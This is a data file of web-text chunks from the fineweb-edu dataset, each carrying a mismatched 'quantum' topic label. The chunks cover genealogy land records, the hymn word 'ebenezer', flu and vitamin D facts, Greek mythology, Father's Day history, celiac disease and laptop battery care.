"HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.714516"} {"text": "north dakota land and propertyedit this page from familysearch wiki when the united states acquired north dakota, most of the land became part of the public domain. the federal government administered the land through the general land office. available land was surveyed into townships and transferred to private ownership through a process called land entry. the first general land office was established at pembina in 1870. the local land offices kept tract books ( recording transactions for each section of land ), and township plats ( maps of land entries for each township ). land entry in north dakota was based either on cash payment for the land ( cash entries ), or on conditions of settlement ( homesteads after 1862 ). once a settler completed the requirements for land entry, his case file was sent to the general land office in washington, dc, where a patent or first - title deed was issued. to locate the land - entry or homestead case file for your ancestor, you will need to know either the patent number or the legal description ( range, township, section of the land ). the county recorder of deeds may be able to tell you the legal description of the land from county land records, or you may be able to pinpoint the exact location by searching the entries in the tract book covering the approximate area concerned. an online index is available for those that completed the homestead process to patent ( original deeds from the government ) at the bureau of land managementweb site. for original patents and copies of tract books and township plats, contact the bureau of land management, 5001 southgate drive, box 36800, billings, montana 59101, telephone : 406 - 896 - 5000. fax : 406 - 896 - 5298. internet : http : / / www. land - records. com / land - records / north - dakota - land - records. htm # blm the national archives has the original homestead entry files, cash entry files, tract books, and township plats. see national archives and records administration for address and telephone. records of the local land offices are also at the state historical society of north dakota. township plats are also at the north dakota water commission, 900 east boulevard, bismarck, north dakota 58505 - 0850, telephone : 701 - 328 - 2750, fax : 701 - 328 - 3696. after land was transferred from the government by sale or grant to private owners, it could be sold again, inherited, lost by foreclosure of a", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.41672351437632765, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.717359"} {"text": "did you think i meant ebenezer scrooge from dickens \u2019 a christmas carol? uh, not exactly. i \u2019 m talking about people finding god in an ebenezer \u2014 a real ebenezer! did you even know there was such a thing as an ebenezer? if you \u2019 ve ever sung the christian hymn come, thou fount of every blessing, you may have come across the word, depending on your hymnal. i have two hymnals. the beginning of the second verse in one reads : \u201c here i raise mine ebenezer ; hither by thy help i \u2019 m come \u2026 \u201d but in my newer hymnal, the second verse opens with : \u201c hither to thy love has blest me ; thou hast bro \u2019 t me to this place \u2026 \u201d wikipedia has additional verses. several contain the word ebenezer. nevertheless, what \u2019 s an ebenezer? if we \u201c raise \u201d our ebenezer, as the verse suggests, are we lifting scrooge above our heads? actually, ebenezer is a standing stone, if literally translated, a \u201c stone of help. \u201d in the old testament, leaders sometimes stood a large stone up to commemorate something extraordinary god did for them at that site. then when children or others asked why that stone was standing there, those who knew the story could pass along the information to a new group or generation. dictionary. com defines ebenezer as a noun and says this : male proper name, sometimes also the name of a protestant chapel or meeting house, from name of a stone raised by samuel to commemorate a victory over the philistines at mizpeh ( i sam. vii. 12 ), from heb. ebhen ezar \u201c stone of help, \u201d from ebhen \u201c stone \u201d + ezer \u201c help. \u201d on his web site, dr. gregory s. neal explains about the ebenezer : \u201c in 1 samuel 4 : 1 - 11 and 5 : 1, the ebenezer is strangely identified with a particular site, about four miles south of gilgal, where the israelites were twice defeated by the philistines and the ark of the covenant was stolen. these battles took place, however, before the site was actually named ebenezer. it was like someone saying that dinosaurs once lived in dallas county \u2014 they did, but not when this area was called \u2018 dallas. \u2019 likewise, the two battles mentioned in 1 samuel 4 and 5 took place at ebenezer,", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4692144419465547, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.720428"} {"text": "ebenezer. it was like someone saying that dinosaurs once lived in dallas county \u2014 they did, but not when this area was called \u2018 dallas. \u2019 likewise, the two battles mentioned in 1 samuel 4 and 5 took place at ebenezer, but some time before it was so - named. \u201c the site wasn \u2019 t named ebenezer until after the israelites finally defeated the philistines, and took back the ark of the covenant. to commemorate the victorious battle, samuel set up a marker - stone, named it \u201c stone of help, \u201d and thereby the site became identified with the stone and with the place where god \u2019 s miraculous help aided them in their victory over the philistines. the stone, standing up - right, was called \u2018 ebenezer, \u2019 and the site naturally took on that name as well. \u201d the next time you see ebenezer scrooge, i hope he makes you think of extraordinary events god has orchestrated in your life. take the time to tell someone that story. when you do, because of your rock - solid faith standing there for them to plainly see, people will be finding god in an ebenezer. enjoy this rendition of the hymn come, thou fount of every blessing sung by lauren o \u2019 farrell, to hear how ebenezer fits into the song.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.40496283387870013, "token_count": 270, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.720951"} {"text": "dover \u2014 state officials warn residents to become immunized as soon as possible against influenza and to arm themselves with pertinent information. the facts provided below came from the national centers for disease control and prevention and more information can be found by visiting their website www. cdc. gov. what is influenza ( also known as the flu )? the flu is a contagious respiratory illness caused by influenza viruses that infect the nose, throat, and lungs. it can cause mild to severe illness, and at times can lead to death. the best way to prevent the flu is by getting a flu vaccine each year. what are the signs and symptoms? people who have the flu often feel some or all of the following \u2014 fever or feeling chills, though it important to note not everyone with the flu has a fever, sore throat, runny or stuffy nose, muscle or body aches, headaches, fatigue as well as vomiting and diarrhea in less common circumstances. how long is a person with the flu contagious for? you may be able to pass on the flu to someone else before you know you are sick, as well as while you are sick. most healthy adults may be able to infect others beginning one day before symptoms develop and up to five to seven days after becoming sick. some people, especially young children and people with weakened immune systems, might be able to infect others for an even longer period of time. what flu vaccines are available? the single best way to prevent the flu is to get a flu vaccine each season. the regular seasonal \u201c flu shot \u201d contains an inactivated vaccine with a killed virus. it is \u201c intramuscular, \u201d meaning it is injected into muscle, usually in the upper arm, and has been used for decades. a high - dose vaccine for people 65 and older which is also intramuscular is available, and was first created in 2010. the intradermal vaccine is for people 18 to 64 years of age and is injected with a needle into the skin, first created in 2011. additionally, there is a nasal - spray flu vaccine made with live, weakened flu viruses \u2014 sometimes called laiv for \u201c live attenuated influenza vaccine \u201d \u2014 and is for people aged 2 to 49 years who are not pregnant. about two weeks after vaccination, antibodies develop that protect against influenza virus infection. flu vaccines will not protect against flu - like illnesses caused by non - influenza viruses. the seasonal flu vaccine protects against the three influenza viruses that research suggests will be most common", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.477632271184918, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.723542"} {"text": "most people should be able to get their vitamin d requirements met through calculated sunlight exposure. the truth is, however, that our world still has nearly one billion people who are vitamin d deficient, so we \u2019 re not getting enough of this sunshine vitamin. there are various reasons for not getting enough vitamin d. a person \u2019 s occupation, age, sunscreen use, geographic location, the time of day, a person \u2019 s melanin content and even smog can directly affect vitamin d levels. in fact, when those who are 70 + in age are exposed to the same amount of sunlight as a young adult, they produce 30 % less vitamin d than a younger person. similarly, those with dark skin need 5 - 10 times longer sun exposure to make the same amount of vitamin d as those with lighter skin do. sunscreens may be one of the biggest culprits of all, however, because spf 8 and above sunscreens can reduce vitamin d production by 95 %. where you live can have a lot to do with how much vitamin d you can get from the sun, too. if you live north of an imaginary line that stretches from the northern border of california and boston, then the ultraviolet ( uv ) energy is not enough for vitamin d synthesis from november through february. the more north you live, the worse it gets. diminished uv energy can last for up to six months for those areas. here are some stats that seem to tell the tale of northern living and vitamin d deficiency : - 48 % of light - skinned girls aged 9 - 11 in maine are vitamin d deficient at the close of winter, with 17 % of them still vitamin d deficient at the close of the summer. - boston has its fallout, too, as 42 % of adolescents and 32 % of young adults are vitamin d deficient. - of the community - living elderly in boston and baltimore, 50 % are vitamin d deficient throughout the entire year. - hospitalized and institutionalized individuals fare even worse : 57 % of them are deficient in vitamin d. if, however, you live south of an imaginary line between los angeles and columbia, south carolina, then you are among those whose exposure to uv energy allows for vitamin d synthesis throughout the year. but that \u2019 s only if you go out in it and if there \u2019 s no cloud cover, smog, or any other factor that can inhibit vitamin d absorption. the truth is that even cloud cover has a hand in how much vitamin d you can get from the sun", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.44242333442442217, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.729685"} {"text": "if you go out in it and if there \u2019 s no cloud cover, smog, or any other factor that can inhibit vitamin d absorption. the truth is that even cloud cover has a hand in how much vitamin d you can get from the sun. complete cloud cover can reduce uv energy by 50 %, while shade \u2014 and that includes manufactured shade from pollution, such as smog \u2014 slows down uv energy by 60 %. for those who love the sun and want to get their vitamin d levels from it, vitamin d researchers suggest about 5 - 30 minutes in the sun between 10 a. m. and 3 p. m. at least two times a week to the face, arms, legs or back without sunscreen. this can usually supply sufficient vitamin d synthesis for most people. those who don \u2019 t get enough sunshine, however, are encouraged to get more dietary sources of vitamin d or to supplement with vitamin d \u2014 especially vitamin d3, a preferred form of vitamin d. vitamin d, as a matter of fact, has two forms especially important to human health : vitamin d2 ( ergocalciferol ) and vitamin d3 ( cholecalciferol ). be careful what foods you select, too. some believe they can get adequate vitamin d intake from fortified milk, but milk samples indicate that vitamin d content in milk is highly variable. less than 50 % of sampled milk had at least 50 % of the vitamin d content specified on the label, while less than 20 % of skim milk had no detectable vitamin d. and while fatty fish like salmon and mackerel provide natural sources of vitamin d, farmed salmon provides only 10 % to 25 % of the vitamin d content compared with wild salmon. so how much vitamin d should we get? kids from birth to their teen years and adults aged 51 to 70 should get at least 400iu daily, while those 71 and up should get at least 600iu daily. the institute of medicine, the government advisory group setting these dietary guidelines, may change recommendations due to emerging research indicating we could require much more \u2014 to the tune of 1, 000 to 2, 000iu daily. what happens when someone has a vitamin d deficiency? it often involves getting 50, 000iu of vitamin d2 ( less for vitamin d3 ) once a week for eight weeks, followed by 50, 000iu of vitamin d2 ( less for vitamin d3 ) twice a month, to compensate for the backlog. that translates into 10, 000iu of vitamin d daily", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45412885084022325, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.730710"} {"text": "aviation pioneer and big game safari leader, denys finch hatton was the quintessential edwardian gentleman living in the romanticized era of large hats, garden parties and african safaris that occurred between queen victoria \u2019 s death and world war i. finch - hatton is best remembered by his portrayal in isak dinesen \u2019 s book, out of africa, and by his connection with beryl markham, the first woman to fly east to west across the atlantic ocean. an aristocrat ( his father was the 13th earl of winchilsea ) and educated at all the right schools ( eton and brasenose college, oxford ) finch - hatton moved to british east africa at the age of 24 and began indulging his love of big game hunting. later on, he would parley this experience into acting as a professional guide for wealthy big game hunters. yet safaris weren \u2019 t the only notable adventures to be had. aviation was finally starting to come into its own after wwi and by 1929, it was estimated that out of every 100 airplanes owned in great britain, the majority of them were dehavilland gypsy moths. finch - hatton \u2019 s gypsy moth came in handy not only for scouting out potential trips for his clients but for also seeing the african landscape in a completely new way. and then tragedy struck. on may 14, 1931, finch hatton took off from voi airport ( outside of nairobi ) but never made it to his destination. the plane unexpectedly stalled, plunged to the ground and burst into flames. his body was later recovered for burial in his beloved ngong hills at a site marked with an obelisk and a simple brass plaque marker. in april, 2009, sabine ludwig journeyed to visit both his grave and karen blixen \u2019 s house in nairobi, kenya \u201c after traveling fourteen hours on the night train from mombasa, we arrived in nairobi the next morning at a beautiful train station that seemed as though it had been frozen in time since the early 1900s. nairobi is supposed to be the most dangerous city in africa since the fighting started in january, and houses are now equipped with at least two dogs, a security service and high electrical fences. however, nairobi city center was a pleasant place to visit and the local people all very helpful. of course we visited the house where karen blixen lived from 1914 to 1931. it \u2019 s a beautiful museum located in the nairobi suburbs. during our visit, we decided to take a taxi up into the ngo", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3966718114940939, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.734961"} {"text": "the sculptor of the \" sedgwick \" was h. k. bush - brown ( 1857 - 1935 ). the gettysburg battlefield has four bronze sculptures by henry kirke bush - brown. of these four, three are equestrian statues. an equestrian statue is, by definition, a statue of a horse - mounted rider. the term is from the latin \u201c eques, meaning \u201c knight. \u201d henry kirke bush - brown was the son of robert w. and caroline bush. he would be adopted as a young boy by his mother \u2019 s sister and her husband henry kirke brown. h. k. bush - brown would study under his uncle and become well schooled in the basics of his art. additional training would take h. k. bush brown to paris and new york where his further development would continue. h. k. bush brown would produce many works but his first equestrian was the \u201c meade \u201d dedicated in 1896 at gettysburg. another would follow of the \u201c reynolds \u201d also at gettysburg in 1899. the \u201c sedgwick \u201d would be bush - brown \u2019 s final equestrian at gettysburg. bush - brown would sculpt the bust of lincoln for the lincoln speech memorial in the national cemetery. this monument was erected in 1912. for a sculptor to be given the commission for an equestrian was indeed and honor and considered the highlight of ones career. h. k. bush - brown, having three equestrians at gettysburg, speaks of his talent and artistic abilities. henry kirk ( h. k. ) bush - brown would comment about his thoughts when designing the monument : \" i have endeavored to represent general sedgwick as he might have appeared on his arrival there overlooking that part of the field which his troops were to occupy. \" present at the dedication, bush - brown would comment on his completed work that it would present general sedgwick \u201c quiet and undisturbed by the battle around him, waiting for orders, an intense expression of readiness in the man and in his horse. \u201d it is obvious that bush brown has accomplished this! the sculptor was noted for his great attention to detail. note the \" dents \" in the scabbard of sedgwick ' s sword and the stitching around the horse blanket as seen in the photo below. the photos used on these pages are copyrighted by myself or others. they can only be copied or reproduced with written permission or the clearly legible quotation \" copyright www. gettysburgsculptures. com and linked back to this web site. please contact", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.41929839924371637, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.737613"} {"text": "would you believe that the idea of father \u2019 s day was introduced by a woman? it \u2019 s true! spurred on by the success of mother \u2019 s day, many people felt it was only fair to create similar holidays for other family members of influence, and father \u2019 s day seemed most likely to catch on. while other people in the u. s. promoted the idea of father \u2019 s day before it was well - established, a female named sonora dodd is credited for the holiday as we know it today due to her enthusiasm and persistence in making it a nationwide celebration. sonora smart dodd celebrated the first father \u2019 s day at the ymca in spokane, washington on june 19, 1910 in honor of her father and civil war veteran, william smart. smart was a quiet man who was left a widower when his wife died in labor giving birth to their sixth child. smart went on to raise his six children alone on their small farm in washington. grateful for all the hard work and care he showed to her and her siblings, sonora wanted to pay tribute to her father and others like him with a special day. after hearing about mother \u2019 s day a year earlier, she recommended a similar holiday celebrating fathers to her pastor. she initially suggested june 5th, her dad \u2019 s birthday, but the church did not have adequate time to plan their sermons. consequently, the celebration was deferred to the third sunday of june. father \u2019 s day did not become a success overnight. congress introduced a bill in national recognition of the holiday in 1913, and three years later president woodrow wilson visited spokane to speak in a father \u2019 s day celebration. president woodrow wilson wanted to make the day official, but congress resisted for fear of commercialization. in 1924, president calvin coolidge urged state governments to observe the day nationally, but he did not follow through with a national proclamation. in the 1920s, dodd stopped pushing for the holiday because she was busy with other priorities while studying at the art institute of chicago. the holiday faded into the background for several years, even in spokane. in the 1930s, dodd returned to her childhood town and continued her past efforts to promote the celebration. it was during this time she was able to raise awareness nationally, with the support of trade groups that had a vested interest in the holiday. tie makers, tobacco pipe manufacturers, and other trades that made traditional presents for men all helped to spread the word. however, americans were wary of the holiday as a manipulative attempt by merchants to sell more products and replicate the commercial success of mother", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.40765537368460997, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.741021"} {"text": "tie makers, tobacco pipe manufacturers, and other trades that made traditional presents for men all helped to spread the word. however, americans were wary of the holiday as a manipulative attempt by merchants to sell more products and replicate the commercial success of mother \u2019 s day. cynical comments and sarcastic jokes about the holiday commonly appeared in newspapers. yet, trade groups remained persistent. dodd also had the support of the father \u2019 s day council after 1938, which was founded by the new york associated men \u2019 s wear retailers to consolidate and organize the commercial aspects of promotion. supporters continued to promote father \u2019 s day with diligence, and eventually the holiday became a success. when world war ii began, advertisers used father \u2019 s day as a way to support and honor american men fighting in the war. by the time the war ended, father \u2019 s day was a national institution even though it had not been declared a federal holiday. in 1957, maine senator margaret chase smith drafted up a proposal that accused congress of ignoring fathers for 40 years while prizing mothers, therefore \u201c singling out just one of our two parents. \u201d finally, in 1966 president lyndon b. johnson designated the third sunday in june as father \u2019 s day each year with the first presidential proclamation. it wasn \u2019 t until 1972 that president richard nixon officially signed the holiday into u. s. law permanently. don \u2019 t forget to mark your calendar for father \u2019 s day on sunday, june 16th, and show your father how much you value his role in your life with something thoughtful! for popular father \u2019 s day gift ideas he \u2019 ll love, browse our special occasion gift card recommendations.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3879353243872605, "token_count": 335, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.741748"} {"text": "the anasazi culture of prehistoric american indians developed and flourished, ca. 800 \u2013 1100, in the southwest near the present - day borders of arizona, new mexico, colorado, and utah. pueblo tribes later developed from the anasazi. native american populations in new england, with no immunity to european diseases, were nearly eradicated by a mysterious epidemic \u2014 likely smallpox. between 1616 and 1619, the population of the massachusett and other algonquin tribes was reduced by as much as 90 percent by disease. mississippian culture grew in the southern mississippi river valley. the mississippian american indians were farmers and mound builders, and the culture spread along rivers through modern - day central and eastern north america. some aspects of mississippian life grew out of earlier regional cultures, but the mississippians were also largely influenced by contact with mayan and zapotec traders. hohokam culture of prehistoric american indians developed in the southwest, ca. 600. hohokam culture grew along the gila and salt rivers, and hohokam people created irrigation canals that allowed for major agricultural development. the columbian exchange refers to the flow of goods between the americas, europe, and africa that followed columbus \u2019 s widely advertised \u201c discovery \u201d of the new world. people, animals, plants, and microorganisms passed from continent to continent affecting virtually all aspects of the environment in all three. for american indians, disease was the most significant aspect of the exchange with as many as 90 percent of the native population dying out during the first century of colonization. for africans and europeans the most important items...", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.40421018101497974, "token_count": 324, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.743365"} {"text": "why does everyone think if you do good you will prosper? the good die young, why? what is good? a war hero, he lives life on the edge. he goes to fight injustice. a good person stand for what is right. he stands up for the weak and what is right. the only thing necessary for an injustice to prevail is for good men to do nothing. this is a quote that is illustrated by the movie tears of the sun. bruce willis plays a general in the united states army who is sent into a war torn african country to take a priest, 2 nuns and a missionary doctor back to the states. he is told to leave all the patients behind. the priest and nuns refuse to leave and the doctor refuses to go without her patients. willis forces the doctor onto a helicopter leaving all her patients behind in a green field. as they are flying they see that the gorillas had come and killed everyone at the medical center. willis turns the copper around and puts half the refugees on it and leads the other half across the country trying to get to the refugee camp. many of willis \u2019 men die trying to get them to safety. they strove to stop something and gave their lives to do something good. evil men prosper because they take the easy manipulative way. cowards prosper because they do not stand. he who stands is more likely to fall then he who never gets up. that is why the good die young. it is tough to go against the flow and play with fire. a good man is not afraid to upset the anthill. he is courageous and knows what fights to fight and which to let go. a brave man runs to a fight but a courageous man thinks before he acts. not about the consequences but about whither or not the fight is worth it. no matter what the out come, at the end of the day a good man has no regrets, no matter the ending a good man would do it all again.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4601728420283755, "token_count": 403, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.746377"} {"text": "ares, the god of war, was probably in his origin, a thracian divinity. he is the embodi ment of the wild rage of battle, and as such is represented by homer as bawling and bluster ing, a character which he never lost in later story. aphrodite was the goddess of sexual love, whether legitimate or not. she had irresistible power over gods and men alike. wedded to hephestus, she herself had slight regard for her marriage vows, but had many amours, the most famous being those with ares and with anchises, the father of the hero of the there can be little doubt that aphrodite came to greek lands at some remote period from phoenicia, for many of her functions and at tributes were identical with those of astarte or ishtar. aphrodite ' s attendant son, eros, is not mentioned in homer, but in hesiod he ap pears associated with her, although he is there regarded as of independent origin. the god of fire was hephestos, the handi craftsman of olympus, who wrought many wondrous works for gods and favored princes. he was the teacher of the cyclops and the pat ron of smiths. he appears somewhat as the butt of the other olympians, apparently because of his lameness. this affliction was due, ac cording to one account, to the hasty act of his father zeus, who in a fit of anger, seized him by the foot and threw him out of heaven. an other, perhaps older, tradition made him the illegitimate son of hera, who believing him a weakling cast him out at his birth. poseidon, the brother of zeus, had as his realm the sea and all other waters. as lord of the ocean he was also supporter of the earth, which he rocked by stirring his element. he was furthermore the creator of the first horse and hence the patron of horses and of horse manship. hermes is the herald and messenger of the gods in the homeric epics. for example he car ries from zeus to calypso the order to let ulysses go, and he escorts priam safely to the greek camp that he may ransom hector ' s body. he also conducts the shades of the dead to hades or brings them back to earth. many myths deal with his character as the patron of thieves and the giver of wealth. it is said that in his earliest infancy he", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.39841141146939174, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.754378"} {"text": "ransom hector ' s body. he also conducts the shades of the dead to hades or brings them back to earth. many myths deal with his character as the patron of thieves and the giver of wealth. it is said that in his earliest infancy he invented the lyre, which he presented to apollo in atonement for the theft of 50 cattle. in his function as herald he became the god of oratory, and indeed of all speech ; as protector of high roads, he was the god of the traveler and merchant ; and he was also patron of athletic contests. hades, the second brother of zeus, presided over the realm of the dead, but his cult never obtained any great prominence in greece, and few tales were told of him in post - homeric legends. persephone became his bride. the god of all life, especially of plant life. in homer he has not yet been admitted to olympus, but many myths are re ferred to showing the opposition which was offered to the establishment of his worship. in fact this god was of thracian or phrygian origin and only gradually made his way into greece, being first domiciled at athens possibly as late as the 8th century b. c. in a common myth dionysus appears as the son of zeus and a mortal, semele. at his birth his mother was consumed by lightning but the babe was sewn into the thigh of zeus, whence he was reborn to be reared by the nymphs on mount nisa. the functions of this divinity were varied. as a god of vegetation, under the name of zagreus, he was said to have been torn in pieces by the titans and then to have been revived ; thus he became by his rebirth a warrant of human im mortality, and as such played an important role in the orphic religion. the spread of the wor ship of dionysus across the seas is celebrated by the legend that tyrrhenian pirates once seized the young god and attempted to bear him away in their ships, but he burst his bonds and, when his captors refused to believe him a god for the miracles he worked, he changed them all into dolphins. a later series of myths told of his travels to india. out of the songs and dances in honor of dionysus devel oped the dithyramb and both tragedy and comedy. demeter was principally the goddess of the tilled soil and especially the giver of grain to men ; and since well being and good social", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4131239424464761, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.755346"} {"text": "dances in honor of dionysus devel oped the dithyramb and both tragedy and comedy. demeter was principally the goddess of the tilled soil and especially the giver of grain to men ; and since well being and good social order depend on agricultural prosperity, she became the giver of wealth and of laws. persephone, who was obviously a parallel to demeter, in myth was the latter ' s daughter and was stolen away by hades to be his bride. demeter wan dered in the guise of an old woman over the earth mourning until she came to eleusis, where she was kindly received by the king ' s daughters and established as nurse to the king ' s son. when she was discovered in her attempts to make the child immortal by repeated baptisms of fire, she revealed herself and ordered a tem ple to be bulit in her honor. yet in her sorrow over her daughter she kept back the gifts of earth, so that men began to die, until zeus com manded hades to allow persephone to return for two - thirds of the year to her mother. then demeter established her rites, the eleu sinian mysteries, which developed from an agri cultural festival into one of the most potent greek religious festivals.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4238183281712016, "token_count": 260, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.755978"} {"text": "when it comes to celiac disease risk, an elective or planned c - section creates a much greater incidence of celiac disease than an emergency one. a natural, vaginal birth is probably every mother \u2019 s plan, but c - sections, at an increased rate, have become a fact of life. in a recent study ( october 2011 ) published in gastroenterology, titled \u201c pregnancy outcome and risk of celiac disease in offspring : a nation - wide case - control study \u201d, dr ludvigsson, an avid researcher in the field discovered a rather unexpected result associated with children delivered by cesarean section. the study of over 11, 000 patients with biopsy - proven celiac disease and close to 54, 000 controls, were examined based on the type of birth they experienced. the study showed an outstanding 15 % increase risk in those born through elective or planned c - section over those born via an emergency cesarean. in fact there was no increased risk found for those individuals born from an emergency c - section. why the vast difference? the reason for the disparity lies in the vital exposure to the health - promoting probiotic organisms present in the birth canal that occurs in vaginal births as well as those who experience emergency c - sections. babies born after an emergency c - section typically reside in the birth canal for some time prior to the decision being made to perform the surgery. elective or planned c - sections afford the baby no time in the birth canal, in fact they are designed to occur before any major progression of labor has occurred. therefore these babies are given no exposure to the healthy probiotic population that has recently been appreciated to be capable of keeping the celiac disease gene from expressing itself. it is as if there is a switch for a disease that one is genetically programmed to be susceptible to, and it has an on and off position. healthy probiotics can keep that switch in the \u2018 off \u2019 position, despite the genetic tendency. conversely, a lack of healthy probiotics allow that switch to move to the \u2018 on \u2019 position, thereby allowing the disease to be expressed. let \u2019 s compare two children who both : 1. possess the genes for celiac disease 2. are exposed to gluten in their diet the child born with exposure to the good probiotics in the birth canal won \u2019 t necessarily develop celiac disease, despite their genetic predisposition. the probiotics, if healthy and abundant, will suppress the expression of the celiac disease genes. on the", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4491783905325607, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.759891"} {"text": "exposure to the good probiotics in the birth canal won \u2019 t necessarily develop celiac disease, despite their genetic predisposition. the probiotics, if healthy and abundant, will suppress the expression of the celiac disease genes. on the contrary, the child born via elective c - section and having no exposure to the probiotics, will not have the defense against the genetic predisposition to develop celiac due and will, therefore, be 15 % more likely to develop the disease. while avoiding a planned c - section is perhaps not a viable alternative for every expectant mother, this knowledge does seem vitally important for any expectant mother, who has celiac disease or any other autoimmune diseases present in their family. if there is absolutely no recourse to a planned c - section due to whatever circumstance, i would strongly suggest that the mother takes all steps to optimize the health of their digestive tract and probiotic population such that when they nurse their newborn they can at least share their good bacteria through breast milk. this is, i believe, an extremely important practice for all newborns, but most especially in this circumstance. if you need assistance in determining the best course of action to take to improve the health of your own small intestine such that your probiotic population provides the optimal health benefits to your future unborn children, or if you already have a child and want to ensure that their probiotic level is optimized, please feel free to contact me for a complimentary health analysis \u2013 call 408 - 733 - 0400. the benefits to be obtained from keeping the 100 trillion probiotics ( also known as the microbiome ) in your small intestine healthy are quite remarkable. this is an emerging science, but one we know quite a bit about already. ensuring a healthy microbiome in yourself and your children is not difficult and the program is a natural one. but each individual is unique and therefore the program must be designed on a personalized basis in order to achieve the greatest success. i hope this was informative. we are here to help you, your children and family. our destination clinic treats patients from across the country and internationally. to your good health, dr vikki petersen, dc, ccn founder of healthnow medical center co - author of \u201c the gluten effect \u201d author of the ebook : \u201c gluten intolerance \u2013 what you don \u2019 t know may be killing you! \u201d", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4349326249644337, "token_count": 506, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.761042"} {"text": "this document pertains to hp notebook pcs with windows 8, 7, and vista. notebook computers operate on two kinds of power : a / c power ( the kind of power that you get from plugging a power adapter into a wall outlet ) and d / c power ( the kind of power that you get from a battery ). get the most service and life from the battery by following these suggestions. view a video on improving battery performance how long will the battery last? how long should a battery last between charges? why does one model of computer get better battery performance than another? there is no simple answer. for any battery, its maximum battery capacity decreases over time and usage. the rate at which this capacity decreases, can vary depending on product configuration, product model, operating system, type of software used, power management settings, and other factors. adjusting power plans a power plan is a collection of hardware and system settings that manages how your computer uses power. power plans can help you save energy, maximize system performance, or achieve a balance between the two. learn more about power plans by reading one of the following support documents that matches the windows operating system on your notebook : after reading, adjust the power plan settings for your notebook to get the most out how you use your computer. factors that contribute to loss of battery capacity - li - ion battery cells suffer gradual, irreversible capacity loss with each discharge - charge cycle. such aging occurs more rapidly as temperature and discharge loads increase. - the energy of a li - ion battery decreases even when the battery is left in an unpowered computer. - during prolonged storage or non - use, the battery charge can decrease below its recommended low - voltage level. - leaving the battery in a depleted condition for an extended period can cause the battery to go into a low voltage condition and become unusable. leaving the battery at a high level of charge in a high - temperature environment for extended periods ( for example in a docking station under a heavy load ) also accelerates the loss of capacity. - using software for graphics processing or high - definition video accelerates the loss of capacity. for example, playing 3d games lowers full charge capacity faster than using word processing applications. recommended battery care practices recommendations for battery usage and storage are covered in the user guide for your computer. additional battery care practices are as follows : - store li - ion batteries between 20\u00b0c and 25\u00b0c ( 68\u00b0f and 77\u00b0f ) with 50 % to 70 % charge. - do not disas", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5510981901203045, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.767206"} {"text": "user guide for your computer. additional battery care practices are as follows : - store li - ion batteries between 20\u00b0c and 25\u00b0c ( 68\u00b0f and 77\u00b0f ) with 50 % to 70 % charge. - do not disassemble, crush, or puncture a 